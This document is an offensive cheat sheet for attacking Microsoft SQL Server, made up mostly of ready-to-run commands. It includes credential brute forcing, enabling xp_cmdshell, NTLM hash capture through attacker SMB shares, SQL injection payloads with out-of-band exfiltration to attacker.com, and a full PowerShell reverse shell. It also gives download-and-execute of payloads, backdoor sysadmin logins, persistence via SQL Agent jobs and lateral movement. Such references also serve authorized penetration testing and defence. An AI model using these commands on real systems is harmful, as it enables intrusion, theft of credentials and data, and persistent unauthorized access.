MSSQL (Microsoft SQL Server)

`Default Port: 1433`

Microsoft SQL Server (MSSQL) is a relational database management system developed by Microsoft. It's widely used in enterprise environments and integrates tightly with Windows infrastructure. MSSQL offers powerful features including stored procedures, xp_cmdshell for command execution, and extensive Windows authentication integration.

Connect

Using mssqlclient.py (Impacket)

```
# Windows authentication
mssqlclient.py DOMAIN/username:password@target.com

# SQL authentication
mssqlclient.py sa:password@target.com -windows-auth

# With specific database
mssqlclient.py username:password@target.com -db master

# Using hash (Pass-the-Hash)
mssqlclient.py username@target.com -hashes :NTHASH
```

Using sqsh

```
# Connect with SQL authentication
sqsh -S target.com -U sa -P password

# Connect with Windows authentication
```

```
sqsh -S target.com -U DOMAIN\\username -P password
```

Using sqlcmd (Windows)

```
# Local connection
sqlcmd -S localhost -U sa -P password

# Remote connection
sqlcmd -S target.com,1433 -U sa -P password

# Windows authentication
sqlcmd -S target.com -E

# Execute query directly
sqlcmd -S target.com -U sa -P password -Q "SELECT @@version"
```

Using DBeaver / SQL Server Management Studio (GUI)

```
Server: target.com
Port: 1433
Username: sa
Password: password
Authentication: SQL Server / Windows
```

Recon

Service Detection with Nmap

Use Nmap to detect MSSQL services and identify server capabilities.

```
nmap -p 1433 target.com
```

Banner Grabbing

Identify MSSQL server version and gather configuration details.

Using netcat

```
# Using netcat
nc -vn target.com 1433
```

Using nmap

```
# Using Nmap
nmap -p 1433 -sV --script-args mssql.instance-all target.com
```

Instance Discovery

Discover MSSQL instances using various methods.

Using nmap

```
# SQL Server Browser Service (UDP 1434)
nmap -sU -p 1434 --script ms-sql-discover target.com
```

Using PowerShell

```
# Using PowerShell
Get-SQLInstanceDomain
```

Using Metasploit

```
# Using Metasploit
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS target.com
run
```

Enumeration

Version Detection

Identifying the SQL Server version helps determine applicable exploits and security vulnerabilities.

```
# Get SQL Server version
SELECT @@version;

# Get product version
SELECT SERVERPROPERTY('ProductVersion');
SELECT SERVERPROPERTY('ProductLevel');
SELECT SERVERPROPERTY('Edition');

# Get machine name
SELECT @@SERVERNAME;
SELECT SERVERPROPERTY('MachineName');
```

Database Enumeration

Enumerating databases reveals the data landscape and helps identify high-value targets.

```
# List all databases
SELECT name FROM sys.databases;
SELECT name FROM master.dbo.sysdatabases;

# Current database
SELECT DB_NAME();

# Database information
SELECT name, database_id, create_date
FROM sys.databases;

# Database size
EXEC sp_helpdb;
```

User Enumeration

Understanding user accounts and their permissions is critical for privilege

escalation.

```
# List all users
SELECT name FROM master.sys.server_principals;
SELECT name FROM sys.sysusers;

# Current user
SELECT USER_NAME();
SELECT SYSTEM_USER;
SELECT CURRENT_USER;

# User privileges
SELECT * FROM fn_my_permissions(NULL, 'SERVER');

# List sysadmin users
SELECT name FROM master.sys.server_principals
WHERE IS_SRVROLEMEMBER('sysadmin', name) = 1;
```

Table and Column Enumeration

Extract table and column information from databases.

```
# List tables in current database
SELECT table_name FROM information_schema.tables;

# List all columns in a table
SELECT column_name, data_type
FROM information_schema.columns
WHERE table_name = 'users';

# Search for specific column names
SELECT table_name, column_name
FROM information_schema.columns
WHERE column_name LIKE '%password%';

# Count rows in tables
SELECT t.name, p.rows
FROM sys.tables t
INNER JOIN sys.partitions p ON t.object_id = p.object_id
WHERE p.index_id < 2;
```

Privilege Enumeration

Check user privileges and role memberships.

```
# Check if current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');

# Check server roles
SELECT name FROM master.sys.server_principals
WHERE type = 'R';

# Current user permissions
EXEC sp_helprotect;

# Database role members
EXEC sp_helprolemember;
```

Linked Server Enumeration

Enumerate linked servers and test connections.

```
# List linked servers
EXEC sp_linkedservers;
SELECT * FROM sys.servers;

# Test linked server connection
SELECT * FROM OPENQUERY([LinkedServerName], 'SELECT @@version');

# Execute on linked server
EXEC ('SELECT @@version') AT [LinkedServerName];
```

Attack Vectors

Default Credentials

Test for common default MSSQL credentials.

```
# Common default credentials
sa:<blank>
sa:sa
sa:password
sa:Password123
sa:P@ssw0rd
```

```
hydra -l sa -P /usr/share/wordlists/rockyou.txt target.com mssql
mssqlclient.py sa:password@target.com
```

```
use auxiliary/scanner/mssql/mssql_login
set RHOSTS target.com
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
```

Using Nmap

```
nmap -p 1433 --script ms-sql-brute \
  --script-args userdb=users.txt,passdb=passwords.txt target.com
```

Command Execution via xp_cmdshell

Execute operating system commands through MSSQL using xp_cmdshell.

Enabling xp_cmdshell

```
# Enable xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
```

Command Execution

```
# Execute command
EXEC xp_cmdshell 'whoami';
EXEC master..xp_cmdshell 'ipconfig';
EXEC xp_cmdshell 'net user';

# Disable xp_cmdshell (for stealth)

# Read file using OPENROWSET
SELECT * FROM OPENROWSET(
  BULK 'C:\Windows\System32\drivers\etc\hosts',
  SINGLE_CLOB
) AS Contents;
```

Using xp_cmdshell and Extended Procedures

```
# Read file using xp_cmdshell
EXEC xp_cmdshell 'type C:\Windows\win.ini';

# Using xp_dirtree to list directories
EXEC master..xp_dirtree 'C:\', 1, 1;

# Using xp_fileexist to check file existence
EXEC master..xp_fileexist 'C:\Windows\win.ini';
```

Writing Files

Write files to the file system using various MSSQL methods.

Basic File Writing

```
# Write to file using xp_cmdshell
EXEC xp_cmdshell 'echo test > C:\Temp\test.txt';

# Copy file
EXEC xp_cmdshell 'copy C:\source.txt C:\dest.txt';
```

Advanced File Operations

```
# Download file from web
```

```
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://attacker.com/
shell.exe -OutFile C:\Temp\shell.exe"';

# Using BCP utility to export data
EXEC master..xp_cmdshell 'bcp "SELECT * FROM database.dbo.users" queryout "C:
\users.txt" -c -T';
```

Capturing MSSQL Service Hash

Capture NTLM hashes by forcing MSSQL to authenticate to attacker-controlled SMB shares.

Setting Up Hash Capture

```
# Force MSSQL to authenticate to attacker's SMB share
# Start Responder on attacker machine
sudo responder -I eth0

# On MSSQL
EXEC xp_dirtree '\\attacker-ip\share';
EXEC xp_fileexist '\\attacker-ip\share\file';

# Or using xp_subdirs
EXEC master..xp_subdirs '\\attacker-ip\share';
```

Hash Cracking

```
# Capture NTLMv2 hash with Responder
# Crack with hashcat
hashcat -m 5600 hash.txt rockyou.txt
```

SQL Injection in MSSQL Context

Exploit SQL injection vulnerabilities in MSSQL applications.

Basic Injection Techniques

```
# Stacked queries (MSSQL allows multiple statements)
```

```
'; EXEC xp_cmdshell 'whoami'--

# Time-based blind injection
'; WAITFOR DELAY '00:00:05'--

# UNION injection
' UNION SELECT null, @@version--

# Error-based injection
' AND 1=CONVERT(int, @@version)--
```

Advanced Injection Techniques

```
# Out-of-band data exfiltration
'; DECLARE @data varchar(max);
  SELECT @data=name FROM master.sys.databases WHERE database_id=1;
  EXEC('master..xp_dirtree "\\attacker.com\'+@data+'"')--
```

Privilege Escalation

Escalate privileges using various MSSQL techniques.

Impersonation Attacks

TRUSTWORTHY Database Exploitation

```
# Using TRUSTWORTHY database
# If database is TRUSTWORTHY and you have db_owner
USE master;
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
```

Linked Server Exploitation

Exploit linked servers for lateral movement and privilege escalation.

```
# Check for impersonation permissions

# Execute commands on linked server
EXEC ('EXEC xp_cmdshell ''whoami''') AT [LinkedServer];

# Double hop to third server
EXEC ('EXEC (''EXEC xp_cmdshell ''''whoami'''''') AT [Server3]') AT [Server2];
# Impersonate sysadmin user
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
SELECT IS SRVROLEMEMBER('sysadmin');

# Privilege escalation via linked server
# If linked server uses higher privileges
EXEC ('EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [LinkedServer];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [LinkedServer];

# RPC out enabled
EXEC sp_serveroption @server='LinkedServer', @optname='rpc out',
@optvalue='TRUE';
```

Post-Exploitation

Password Hash Extraction

Extract and crack MSSQL password hashes.

Hash Extraction

```
# Extract password hashes (requires sysadmin)
SELECT name, password_hash FROM sys.sql_logins;
```

Using Metasploit

```
# Using Metasploit
use auxiliary/scanner/mssql/mssql_hashdump
set RHOSTS target.com
set USERNAME sa
set PASSWORD password
```

```
run

# Crack MSSQL hashes
hashcat -m 1731 hashes.txt rockyou.txt
```

Persistence

Establish persistent access to MSSQL systems.

User Account Backdoors

```
# Create backdoor user with sysadmin
CREATE LOGIN backdoor WITH PASSWORD = 'P@ssw0rd123!';
EXEC sp_addsrvrolemember 'backdoor', 'sysadmin';
```

Stored Procedure Backdoors

```
# Create stored procedure backdoor
CREATE PROCEDURE sp_backdoor
AS
EXEC xp_cmdshell 'powershell -enc <base64_payload>';

# SQL Server Agent job for persistence
USE msdb;
EXEC sp_add_job @job_name = 'Backdoor';
EXEC sp_add_jobstep @job_name = 'Backdoor',
  @step_name = 'Execute',
  @subsystem = 'CMDEXEC',
  @command = 'powershell -enc <base64_payload>';
EXEC sp_add_schedule @schedule_name = 'Daily',
  @freq_type = 4;
EXEC sp_attach_schedule @job_name = 'Backdoor',
  @schedule_name = 'Daily';
```

Reverse Shell

Establish reverse shell connections through MSSQL.

PowerShell Reverse Shell

```
# PowerShell reverse shell
EXEC xp_cmdshell 'powershell -c "$client = New-Object
System.Net.Sockets.TCPClient(''attacker-ip'',4444);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 |
Out-String );$sendback2  = $sendback + ''PS '' + (pwd).Path + ''> '';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,
$sendbyte.Length);$stream.Flush()};$client.Close()"';
```

Metasploit Payload Execution

```
# Using Metasploit
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker-ip LPORT=4444 -f
exe > shell.exe
# Upload via xp_cmdshell
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://attacker.com/
shell.exe -OutFile C:\Temp\shell.exe"';
EXEC xp_cmdshell 'C:\Temp\shell.exe';

# Download and execute payload
EXEC xp_cmdshell 'certutil -urlcache -split -f http://attacker.com/payload.exe
C:\Windows\Temp\payload.exe';
EXEC xp_cmdshell 'C:\Windows\Temp\payload.exe';
```

Data Exfiltration

Extract sensitive data from MSSQL databases.

Database Backup and Export

```
# Export database to file
BACKUP DATABASE targetDB TO DISK = 'C:\Temp\backup.bak';

# Copy to attacker's share (if accessible)
EXEC xp_cmdshell 'copy C:\Temp\backup.bak \\attacker-ip\share\backup.bak';

# Export specific table
EXEC master..xp_cmdshell 'bcp "SELECT * FROM database.dbo.users" queryout "C:
\users.txt" -c -T';
```

Advanced Exfiltration Techniques

```
# Base64 encode and exfiltrate via DNS
# (Requires custom scripting with xp_cmdshell and PowerShell)
```

Lateral Movement

Move laterally through the network using MSSQL access.

Domain Enumeration

```
# Enumerate domain users
EXEC xp_cmdshell 'net user /domain';
EXEC xp_cmdshell 'net group "Domain Admins" /domain';

# Enumerate shares
EXEC xp_cmdshell 'net view \\target-host';
```

Remote Execution

```
# Execute on remote system
EXEC xp_cmdshell 'psexec \\target-host -u domain\admin -p password cmd.exe';

# WMI lateral movement
EXEC xp_cmdshell 'wmic /node:target-host process call create "cmd.exe /c
payload.exe"';
```

Common MSSQL Procedures

Procedure	Description	Requires Admin
`xp_cmdshell`	Execute OS commands	Yes
`sp_configure`	Configure server options	Yes

Procedure	Description	Requires Admin
`xp_dirtree`	List directory contents	No
`xp_fileexist`	Check file existence	No
`xp_subdirs`	List subdirectories	No
`sp_linkedservers`	List linked servers	No
`sp_addlinkedsrvlogin`	Add linked server login	Yes
`OPENROWSET`	Query remote data source	Varies
`BULK INSERT`	Import data from file	Varies

Common MSSQL System Databases

Database	Description	Important Tables
`master`	System configuration	sys.databases, sys.server_principals
`model`	Template for new databases	N/A
`msdb`	SQL Server Agent data	sysjobs, sysschedules
`tempdb`	Temporary objects	N/A

Useful Tools

Tool	Description	Primary Use Case

Tool	Description	Primary Use Case
mssqlclient.py	Impacket MSSQL client	Command-line interaction
SQL Server Management Studio	GUI client	Full management
DBeaver	Universal database tool	Cross-platform GUI
SQLmap	SQL injection tool	Automated exploitation
PowerUpSQL	PowerShell MSSQL toolkit	Enumeration and exploitation
Nmap	Network scanner	Service detection
Metasploit	Exploitation framework	Various MSSQL modules

Security Misconfigurations to Test

- ❌ Default `sa` account with weak password
- ❌ `xp_cmdshell` enabled
- ❌ Excessive user permissions
- ❌ TRUSTWORTHY database property enabled
- ❌ Weak authentication (SQL instead of Windows)
- ❌ Impersonation permissions granted
- ❌ Linked servers with high privileges
- ❌ Unencrypted connections
- ❌ Outdated SQL Server version
- ❌ SQL Server Browser service enabled